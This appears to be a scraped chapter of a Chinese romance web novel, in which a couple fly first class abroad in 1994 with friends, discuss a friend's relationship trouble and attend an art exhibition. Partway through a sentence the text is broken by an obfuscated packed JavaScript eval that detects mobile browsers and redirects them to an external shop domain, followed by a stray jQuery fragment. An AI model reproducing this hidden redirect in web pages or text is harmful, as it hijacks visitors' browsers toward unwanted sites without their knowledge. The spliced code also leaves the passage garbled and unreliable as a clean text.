文趣网 > 都市小说 > 黄澄澄的小摊车 > 57.She is my wife
    谢若水的护照办得还算顺利,裴昭给她弄了一张邀请函,最快的速度办下来了,赶在画展之前。

    这一趟不光是他们俩,叶霜花和唐镇军闹了点矛盾,也跟着出来散心,出国之旅变成了四人行。

    谢若水很佩服他们,厂都才办起来,一点儿不担心厂里出状况。

    “热不热?”裴昭把她头上的帽子摘了,捏在手里看着,“这帽子挺保暖啊,都能煮鸡蛋了。”

    “那可不,”谢若水把外套也脱了,“我现在也是个小富婆了,出门在外不得用点好的?排面儿。”

    裴昭笑了,把帽子戴头上试了试,一挑眉毛,“帅不帅?”

    “你别把我帽子撑大了……”谢若水看了看,发现还挺好看的。

    她喜欢红红绿绿带花的,这针织帽是棕红的,侧边一朵奶白的花球。

    裴昭一戴,头发没了,那张五官立体的俊脸特别艳丽突出,有种说不出的风情。

    “好看,赏你了,”谢若水忍不住捏捏他的脸,“你穿红色好看,以后买点艳的。”

    裴昭笑了起来,把帽子摘了下来,和帽子一块儿放好,“艳的内裤喜不喜欢?”

    “你这人,素质肉眼可见的低下了啊。”谢若水指责。

    “问自己老婆喜欢什么颜色的内裤就没素质了,上哪儿说理去,别人都老婆给买。”裴昭没皮没脸地去拉她的手。

    谢若水一巴掌拍开了。

    九四年的国际航班的头等舱已经非常奢侈,坐下没多久,空姐都来好几趟了。

    上酒,上饮料,拿毯子,各种忙活。

    中午还可以点菜,免费的,但菜单是英文的,谢若水看不懂,裴昭点的。

    这人出去点菜指定是牛肉,裴昭戳了两条自己的牛排搁到她盘里。

    “你够吃吗?”谢若水说。

    “我吃点别的,这趟飞机的牛排好吃,你先尝尝,”裴昭说,“早上都没怎么吃,你也真成,收拾一整天,都让你不要带这么多东西了。”

    “出国哎,”谢若水吃了块牛排,“东西不带全,万一国外没有怎么办,哇,真好吃。”

    “国外的人也活得好好的,他们总有办法的,下次别带了。”裴昭摸了摸她的脑袋。

    “还不一定有下次呢,这机票这么贵,”谢若水吃了几口,把脸贴到窗户上,看着外面的云层,“真好看。”

    “傍晚更好看,”裴昭说,“到时候我叫你。”

    “嗯。”谢若水点点头。

    谢若水的事业不慌不忙地上了正轨,闲暇时候就开始看书。

    她准备考个大学,弥补一下上一世的遗憾,虽然目前还在恶补初中的内容。

    裴昭在旁边听歌画画,等她学到不懂的地方,就凑过去给她讲题。

    他很喜欢看谢若水听了好几遍还不懂的样子,拧着眉头,腮帮子咬着,一副要跟题拼了的样子,很可爱。

    她的外皮是圆滑柔软的,但骨头是强硬且棱角分明的,有一种韧劲。

    飞行时间需要十几个小时,谢若水起身去上了趟厕所,经过叶霜花身边,发现两人牵着手,一起听音乐,但面无表情,也不说话,没有一点甜蜜的氛围。

    她坐会椅子上,用胳膊肘推了推裴昭,“他俩到底怎么回事?”

    裴昭摘下耳机,看了看她,“我不能说。”

    “你听谁的。”谢若水看着他。

    裴昭往前面看了一眼,低头小声说:“唐镇军跟姑娘约会被抓到了。”

    “什……”谢若水险些喊出来。

    裴昭“啧”了一声,“你别闹,不然以后他们都不告诉我了。”

    “狗改不了吃屎。”谢若水有些不爽。

    裴昭相当认同,“唐镇军不行,和我比不了,你要对我好一点。”

    “没有人问你,”谢若水有点无语,“那姑娘什么人?”

    “就一个老朋友,”裴昭低头继续画画,“也算一块儿长大的,叔叔希望唐镇军娶那个姑娘,其实他俩都没那意思,硬凑一块儿。”

    谢若水“哎”了一声,“那他俩应该没做什么吧?”

    “一起吃了个饭。”裴昭说。

    “唐镇军现在怎么想?”谢若水问。

    “什么怎么想,他每天那么快活,干嘛要结婚?就只是吃了个饭。”裴昭说。

    “那霜花有什么好生气的,”谢若水不理解,“我也经常跟别人一块儿吃饭啊。”

    “你以为我不生气吗?”裴昭没忍住说,“你为什么天天跟男的一块儿吃饭?”

    “哪有天天,”谢若水说,“我也跟女的吃,不要无理取闹。”

    裴昭不满地看了她一眼。

    “没道理啊,”谢若水皱着眉,“既然什么都没做,霜花为什么生气,你确定什么都没做吗?没拉手?”

    “人家也是千金大小姐,凭什么吃顿饭就让唐镇军拉手?”裴昭说。

    谢若水搓了搓书页的边角,戒指上的钻石在余光里闪了一下。

    她忽然想起叶霜花看到这枚戒指的表情,那眼底藏不住的一点点羡慕。

    谢若水往后一靠,拿起书,没再想了。

    学习是一件容易犯困的事情,谢若水学了两个小时睡着了。

    半梦半醒间鼻子痒痒的,接着脖子又吹来一股热气。

    她睁开眼,裴昭在她耳朵上咬了一口,带着轻微的醉意说:“看窗外。”

    谢若水看向窗外。

    外面是层层叠叠的云,像一朵朵黄红渐变的棉花糖,一轮夕日藏在云层中,天都烧成了橘红色的。

    “哇!”谢若水贴到窗玻璃上,场面更震撼。

    透过一面窄窄的窗,看见的是无边无际的黄昏,有时云层稀疏,底下有连绵不绝的雪山。

    裴昭看着她的后脑勺,耳朵和脖颈的轮廓都在黄光里晕开了,柔和美好,“好看吗?”

    “好看,”谢若水都想拍个照了,可惜没手机,她看了一阵,回过头,“你喝多少了?”

    “随便喝点。”裴昭脸颊都有些红了,眼睛湿漉漉的。

    “别喝了,伤肝。”谢若水夺过他的杯子,把剩余的酒一口干了。

    裴昭弯着食指,刮了下她的脸,“纵横厂区的姑奶奶。”

    谢若水笑了笑,舔舔嘴唇,“还挺好喝的。”

    “你也不要喝了,”裴昭接过杯子搁回桌上,“吐了给空姐惹麻烦,接着睡吧,天亮就到了。”

    “我再看一会儿,”谢若水说,“下面好多雪山,不知道那边有没有下雪。”

    下了。

    他们从机场一出来就看见了漫天飘舞的大雪,地面上铺着一层厚厚的雪毯,踩上去还带响的。

    国内还有不少事儿,他们几个算着时间来的,下机直奔艺术馆。

    一路上,房子的风格和国内很不一样,人长得也不太一样,谢若水坐在叶霜花和裴昭的中间,还探头新鲜地看着,“你看,金

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17687962|203557||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    头发的小孩儿。”

    裴昭随着她手指的方向看了过去,只一秒,小孩儿们就被甩到了车后,看不清是哪个。

    他抓着谢若水的手,“喜欢我们也生一个。”

    “你又生不出金头发的。”谢若水说。

    “怎么还搞发色歧视?”裴昭说。

    谢若水笑了起来,“但是真的好可爱,像洋娃娃。”

    “裴昭小时候也像洋娃娃,”唐镇军在前面说,“眼睛太大了,又大又圆。”

    谢若水转头看向裴昭。

    裴昭一只手撑着额头,靠着车门看她,朝她眨了一下眼睛,“羡慕吗?”

    “我为什么要羡慕自己的藏品。”谢若水说。

    裴昭咬了下嘴唇,用力捏捏她的手,“小嘴真会说话。”

    唐镇军在前面笑,“我看是训狗有方。”

    “你就闭嘴吧你都没人训。”裴昭说。

    说完了就有点后悔。

    车厢迅速陷入了沉默。

    谢若水转头跟叶霜花提议,“我们看完画展去逛街吧?买个纪念品什么的,说不定这辈子就来这么一趟呢。”

    “好。”叶霜花笑了笑。

    艺术馆外面是个广场,今天休息日,很多人在广场上打雪仗,谢若水只是经过就挨了一球。

    丢雪球的小孩儿睁大眼睛看她,似乎也有些好奇。

    谢若水感觉她的眼睛和翡翠一样漂亮,冲她挥挥手,拍掉大衣上的雪,让裴昭牵进了艺术馆。

    这地方像个巨大的城堡,从进门的一瞬间就能感受到艺术气息,到处都是画和雕刻,连柱子都长得和别的柱子不一样。

    安检人挺多的,啥颜色的都有,衣着光鲜,愉快地交谈着,似乎都有一份体面的工作。

    裴昭以前来过,熟门熟路找到颁奖大厅,在门口还碰到熟人,嘀嘀咕咕不知道说什么。

    谢若水只知道他向别人介绍了她,揽着她的肩膀说:“She is my wife。”

    那人看她的眼神像极了姜老师看她那第一眼,透着许多的惊奇。

    谢若水看到他伸手,也抬手跟他握了握。

    “他说你长得真美。”裴昭在她耳边说。

    谢若水笑了笑,“那你替我说声谢谢。”

    裴昭一扬下巴对着那个人说:“Sure。”

    几个人在闹哄哄的谈笑声中进了颁奖大厅。

    人已经来了不少,没有四个连一块儿的座位了,两两分开了坐。

    典礼还没开始,主办方在台上进行各种调整,谢若水左右张望着,忽然看见裴昭的爸爸,“哎哎,你爸!”

    裴昭转头看去。

    裴昭的爸爸跟姜老师坐在一起,都在中间的位置,黑大衣穿着,很低调,像普通的路人。

    “这画展是不是挺厉害的?”谢若水问。

    “……很厉害倒也谈不上,”裴昭说,“我以为他们不会来。”

    谢若水回头看他。

    裴昭少有的没有第一时间把视线放到她身上,目光炯炯地望着那一边。

    谢若水说不出心里什么滋味。

    她仿佛看见那个困在童年一笔一笔填色的男孩儿终于获得了他应得的关注。

    谢若水抓起他的手,“他们肯定很骄傲。”

    裴昭回过眼看她,咧开一口白牙,今天大衣里特地穿一身休闲西装,显得格外沉稳,但眼里一闪而过的水光还是透出了他的孩子气。